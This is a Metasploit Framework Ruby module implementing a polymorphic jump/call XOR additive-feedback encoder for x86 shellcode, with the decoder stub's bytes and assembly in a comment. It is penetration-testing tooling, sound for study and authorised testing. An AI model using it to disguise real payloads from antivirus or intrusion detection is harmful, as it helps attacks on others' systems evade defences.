##
# $Id: jmp_call_additive.rb 4571 2007-03-25 23:35:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf
module Encoders
module X86

###
#
#	"\xfc"                + # cld
#	"\xbbXORK"            + # mov ebx, key
#	"\xeb\x0c"            + # jmp short 0x14
#	"\x5e"                + # pop esi
#	"\x56"                + # push esi
#	"\x31\x1e"            + # xor [esi], ebx
#	"\xad"                + # lodsd
#	"\x01\xc3"            + # add ebx, eax
#	"\x85\xc0"            + # test eax, eax
#	"\x75\xf7"            + # jnz 0xa
#	"\xc3"                + # ret
#	"\xe8\xef\xff\xff\xff", # call 0x8
#
###
class JmpCallAdditive < Msf::Encoder::XorAdditiveFeedback

	Rank = GreatRanking

	def initialize
		super(
			'Name'             => 'Polymorphic Jump/Call XOR Additive Feedback Encoder',
			'Version'          => '$Revision: 4571 $',
			'Description'      => 'Polymorphic Jump/Call XOR Additive Feedback',
			'Author'           => 'skape',
			'Arch'             => ARCH_X86,
			'License'          => MSF_LICENSE,
			'Decoder'          =>
				{
					'KeySize'   => 4,
					'BlockSize' => 4,
				})
	end

	#
	# Generates a polymorphic version of the jmp/call/additive stub.
	#
	def decoder_stub(state)
		if (state.decoder_stub == nil)
			block = generate_decoder_stub(state) || (raise BadGenerateError)
			state.decoder_key_offset = block.index('XORK')
			state.decoder_stub = block
		end

		state.decoder_stub
	end

	#
	# Append the termination block.
	#
	def encode_end(state)
		state.encoded += [ state.key ].pack(state.decoder_key_pack)
	end

protected

	#
	# Does the actual stub generation.
	#
	def generate_decoder_stub(state)
		key_reg  = Rex::Poly::LogicalRegister::X86.new('key')
		endb     = Rex::Poly::SymbolicBlock::End.new
		cld      = Rex::Poly::LogicalBlock.new('cld', "\xfc")
		init_key = Rex::Poly::LogicalBlock.new('init_key',
			Proc.new { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK' })
		popeip   = Rex::Poly::LogicalBlock.new('popeip', "\x5e")
		pusheip  = Rex::Poly::LogicalBlock.new('pusheip', "\x56")
		xor      = Rex::Poly::LogicalBlock.new('xor',
			Proc.new { |b| "\x31" + (6 + (8 * b.regnum_of(key_reg))).chr })
		lodsd    = Rex::Poly::LogicalBlock.new('lodsd', "\xad")
		add      = Rex::Poly::LogicalBlock.new('add',
			Proc.new { |b| "\x01" + (0xc0 + b.regnum_of(key_reg)).chr })
		test     = Rex::Poly::LogicalBlock.new('test', "\x85\xc0")
		jnz      = Rex::Poly::LogicalBlock.new('jnz',
			Proc.new { |b| "\x75" + [ (0x100 - (b.offset_of(b) - b.offset_of(xor) + 2)) ].pack('C') })
		fin      = Rex::Poly::LogicalBlock.new('ret', "\xc3")
		jmp      = Rex::Poly::LogicalBlock.new('jmp')
		call     = Rex::Poly::LogicalBlock.new('call',
			Proc.new { |b| "\xe8" + [ (-(b.offset_of(endb) - (b.offset_of(jmp) + 2))) ].pack('V') })
		jmp.add_perm(
			Proc.new { |b| "\xeb" + [ (b.offset_of(fin) + 1 - (b.offset_of(b) + 2)) ].pack('C') })

		# These blocks can be in lots of different places, but should only be
		# used once.
		cld.once = true
		init_key.once = true

		# This can be improved by making it so init_key and cld can occur
		# anywhere prior to pusheip.
		fin.depends_on(jnz)
		jnz.depends_on(test)
		test.depends_on(add)
		add.depends_on(lodsd)
		lodsd.depends_on(xor)
		xor.depends_on(pusheip)
		pusheip.depends_on(popeip, init_key, cld)
		call.depends_on(fin, init_key, cld)
		jmp.next_blocks(call)
		jmp.depends_on(init_key, cld)

		jmp.generate([ 
			Rex::Arch::X86::ESP, 
			Rex::Arch::X86::EAX, 
			Rex::Arch::X86::ESI ], nil, state.badchars)
	end

end

end end end
